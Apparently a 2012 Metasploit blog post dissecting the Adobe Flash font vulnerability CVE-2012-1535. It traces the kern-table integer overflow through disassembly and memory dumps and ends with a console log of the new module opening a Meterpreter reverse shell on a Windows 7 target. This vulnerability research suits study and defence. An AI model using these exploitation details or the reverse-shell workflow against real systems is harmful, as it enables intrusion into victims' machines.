Last updated at Mon, 18 Dec 2023 21:21:28 GMT

Edit: Aug 26 2012.

Recently, a new Adobe Flash vulnerability (CVE-2012-1535) was being exploited in the wild as a zero-day in limited targeted attacks, in the form of a Word document.  The Metasploit team managed to get our hands on the malware sample, and began our voodoo ritual in order to make this exploit available in the Metasploit Framework.  Although Adobe officially has already released a patch (APSB12-18), and that the malware is pretty well documented, the vulnerability itself isn't (well, at least not in English) -- we figured it's time to update the blog.

When we began analyzing the the malicious Flash object file, we realized the vulnerability should be related to the parsing of the embedded font file because of the following source code:

public function TextBlock_createTextLineExample():void{  
  var _local1 = "Edit the world in hex.";  
  var _local2:FontDescription = new FontDescription("PSpop");  
  _local2.fontLookup = FontLookup.EMBEDDED_CFF;  
  var _local3:ElementFormat = new ElementFormat(_local2);  
  _local3.fontSize = 16;  
  var _local4:TextElement = new TextElement(_local1, _local3);  
  var _local5:TextBlock = new TextBlock();  
  _local5.content = _local4;  
  this.createLines(_local5);  
}  
  
  
private function createLines(_arg1:TextBlock):void{  
  var _local2:Number = 300;  
  var _local3:Number = 15;  
  var _local4:Number = 20;  
  var _local5:TextLine = _arg1.createTextLine(null, _local2);  
  while (_local5) {  
  _local5.x = _local3;  
  _local5.y = _local4;  
  _local4 = (_local4 + (_local5.height + 2));  
  addChild(_local5);  
  _local5 = _arg1.createTextLine(_local5, _local2);  
  };  
}  

When this font file is loaded, we trigger a clean crash similar to the following:

(538.7dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash32_11_3_300_268.ocx -
eax=1e0d0000 ebx=1e0cfff0 ecx=000004f7 edx=00000000 esi=02a7dfa0 edi=02a78250
eip=1044168a esp=0013dd20 ebp=0013dd58 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050206
Flash32_11_3_300_268!DllUnregisterServer+0x285c28:
1044168a ff5008          call    dword ptr [eax+8]    ds:0023:1e0d0008=????????

A quick look in IDA Pro reveals EAX comes from arg_0:

.text:103EF2D0                mov    esi, [esp+4+arg_0] <-- ESI read from arg_0  
.text:103EF2D4                test    esi, esi  
.text:103EF2D6                jz      short loc_103EF2EB  
.text:103EF2D8                push    dword ptr [esi+0Ch]  
.text:103EF2DB                mov    eax, [esi]        <-- EAX read from ESI  
.text:103EF2DD                push    eax  
.text:103EF2DE                call    dword ptr [eax+8]  <-- Crash  

And a quick cross-reference brings us to this particular call:

Down p sub_103EF4A0+19B call    sub_103EF2CF    ; Call crashing function  

Where sub_103EF4A0 19B  points to the following:

.text:103EF63A loc_103EF63A:                          ; CODE XREF: sub_103EF4A0+A3 j  
.text:103EF63A                push    esi  
.text:103EF63B                call    sub_103EF2CF    ; Call crashing function  

At this point, we know there is some kind of corruption in ESI... but what's ESI for?  Here, we trace ESI by first "decompiling" the entire function, and then grep 'v6' (ESI):

$ grep -n v6 sub_103ef4a0.txt
6:  int v6; // esi@6
43:    v6 = (*a1)(a1, 16);
44:    v16 = v6;
45:    if ( !v6 )
50:    *(v6 + 8) = streama;
51:    *v6 = a1;
52:    *(v6 + 4) = v3;
54:    *(v6 + 12) = v7;
59:      sub_103EF2CF(v6);    

As you can see, at line 43, ESI is assigned with a value.  Turns out this is a when the function allocates memory (that we later discovered as the kern table memory):

.text:103EF4ED loc_103EF4ED:                          ; CODE XREF: sub_103EF4A0+37 j  
.text:103EF4ED                pop    ebx  
.text:103EF4EE                cmp    [ebp+stream], esi  
.text:103EF4F1                jz      loc_103EF655  
.text:103EF4F7                mov    eax, [ebp+arg_0]  
.text:103EF4FA                push    10h  
.text:103EF4FC                push    eax  
.text:103EF4FD                call    dword ptr [eax] ; Allocate memory  
.text:103EF4FF                mov    esi, eax  

We will call the above "memory 1", because there's another one ("memory 2") that comes pretty much right after:

.text:103EF514 loc_103EF514:                            ; CODE XREF: sub_103EF4A0+68 j  
.text:103EF514                mov    eax, [ebp+stream]  
.text:103EF517                mov    ecx, [ebp+arg_0]  ;[arg_0] is our allocator  
.text:103EF51A                mov    [esi+8], eax  
.text:103EF51D                shl    eax, 4  
.text:103EF520                push    eax  
.text:103EF521                push    ecx  
.text:103EF522                mov    [esi], ecx  
.text:103EF524                mov    [esi+4], edi  
.text:103EF527                call    dword ptr [ecx]  
.text:103EF529                pop    ecx  
.text:103EF52A                pop    ecx  
.text:103EF52B                xor    ecx, ecx  
.text:103EF52D                mov    [esi+0Ch], eax  

In the above code, EAX is an user-controlled value, and is used as size.  In our case, this value is always 0x10000000, and when the code does a "SHL EAX, 4", EAX will become 0x00 -- an integer overflow.  Here's an experiment you can try in IRB and demonstrates the same purpose:

ruby-1.9.2-p180 :006 > [0x10000000 << 4].pack("V*").unpack("H*")
=> ["00000000"]
 

Again, since 0x10000000 is user-controlled, we need to find out where it comes from.  We know that the crash occurs when the font is loaded, so we'll begin searching there:

$ d3v_binary_search.rb -i PSPop.otf -p 10000000 |grep HERE
00007800  00 02 00 09 00 03 00 09 00 00 00 10 00 00 00 10  |................|     

The first offset (around 0x7800) doesn't seem to point to anything interesting.  But the second one (0x8340), according to our TFF template with 010 Editor, shows that it falls into the "kern" header section:

struct tTable Table[8] kern (1801810542) at 33604 for 15852
ULONG checkSum A466AE58h
ULONG offset 8344h
ULONG length 3DECh

According to the TFF specifications, the 'kern' header has the following values:

Type Name Description
fixed32 version The version number of the kerning table (0x00010000 for the current version).
uint32 nTables The number of subtables included in the kerning table.

So at around 0x8340, here's how we should interpret the binary data:

$ cat PSPop.otf |hexdump -C |grep 00008340
00008340  00 00 00 00 00 01 00 00  10 00 00 00 1e 0c ff e8  |................|
                         ^Version  ^ nTables
 

At this point, we understand that when the version is 0x10000, and that when nTables has a value of 0x10000000 or higher, an integer overflow occurs for memory 2.  With a little bit of clever breakpoints, we learned that memory 2 is always allocated before memory 1.  And a before/after memory dump comparison reveals the overflow:

Memory 2:

LocationBeforeAfter
0x03a69058
0x03a6906a
0x03a6907c
0x03a6908e
0x03a690a0
54 90 A6 03 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 08 00 00 00 08 00 00 00 00 00 00 00 00
00 00 F0 FF 0C 1E 00 00 0D 1E FF FF FF FF 00 00 00
F0 FF 0C 1E 00 00 0D 1E FF FF FF FF 00 00 00 00 F0
0C 1E 00 00 0D 1E FF FF FF FF 00 00 00 00 F0 FF 0C
00 00 0D 1E FF FF FF FF 00 00 00 00 F0 FF 0C 1E 00

Memory 1 -- Notice the first two rows are overwritten, with the first 4 bytes being the pointer to our shellcode:

Location Before After
03a6d750
03a6d762
03a6d774
03a6d786
03a6d798
B0 C1 A6 03 50 82 A6 03 00 00 00 10 00 00 00 00 70
A6 03 2E 31 2E 33 00 00 00 00 00 00 00 00 B0 D7 A6
50 D1 A6 03 80 D8 A6 03 00 00 00 00 2F 6E 54 41 48
2E 74 78 74 2E 73 77 66 00 00 38 4F AA 03 80 D8 A6
00 00 00 00 00 00 00 00 c0 D6 A6 03 00 00 00 00 00
00 00 0d 1E FF FF FF FF 00 00 00 00 F0 FF 0C 1E 00
0d 1E FF FF FF FF 00 00 00 00 00 00 00 00 B0 D7 A6
50 D1 A6 03 80 D8 A6 03 00 00 00 00 2F 6E 54 41 48
2E 74 78 74 2E 73 77 66 00 00 38 4F FF 03 80 D8 A6
00 00 00 00 00 00 00 00 C0 D6 A6 03 00 00 00 00 00

Eventually, ESI points to 0x03a6d750, and when the following executes, we gain code execution:

.text:103EF2DB                mov    eax, [esi]  ;0x03A6D750  
.text:103EF2DD                push    eax  
.text:103EF2DE                call    dword ptr [eax+8]  
 

Unlike the original malware, the Metasploit module for CVE-2012-1535 delivers the attack as a browser exploit.  And it currently supports Internet Explorer 6/7/8/9, Windows XP SP3 all the way to Windows 7 SP1.  It specifically has ROP chains (in order to bypass Data Execution Prevention) for the following Flash builds under XP, otherwise it defaults to JRE ROP as "plan B":

  • Flash 11.3.300.268
  • Flash 11.3.300.265
  • Flash 11.3.300.257

And here's an example of a successful assault against Windows 7 SP1:

msf  exploit(adobe_flash_otf_font) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 10.6.255.78:4444 
msf  exploit(adobe_flash_otf_font) > [*] Using URL: http://0.0.0.0:8080/xF
[*]  Local IP: http://10.6.255.78:8080/xF
[*] Server started.
[*] 10.6.255.89      adobe_flash_otf_font - User-agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
[*] 10.6.255.89      adobe_flash_otf_font - Client requesting: /xF
[*] 10.6.255.89      adobe_flash_otf_font - Sending HTML
[*] 10.6.255.89      adobe_flash_otf_font - User-agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
[*] 10.6.255.89      adobe_flash_otf_font - Client requesting: /HjSwC.txt.swf
[*] 10.6.255.89      adobe_flash_otf_font - Sending SWF
[*] 10.6.255.89      adobe_flash_otf_font - User-agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
[*] 10.6.255.89      adobe_flash_otf_font - Client requesting: /HjSwC.txt
[*] 10.6.255.89      adobe_flash_otf_font - Default back to JRE ROP
[*] 10.6.255.89      adobe_flash_otf_font - Sending Payload
[*] Sending stage (752128 bytes) to 10.6.255.89
[*] Meterpreter session 1 opened (10.6.255.78:4444 -> 10.6.255.89:49170) at 2012-08-22 15:28:26 -0500
[*] Session ID 1 (10.6.255.78:4444 -> 10.6.255.89:49170) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1216)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2380
[+] Successfully migrated to process

To try out this exploit: Get your Metasploit download now or update your existing installation, and let us know if you have any further questions. In the meanwhile, we keep working further into this!

sinn3r & juan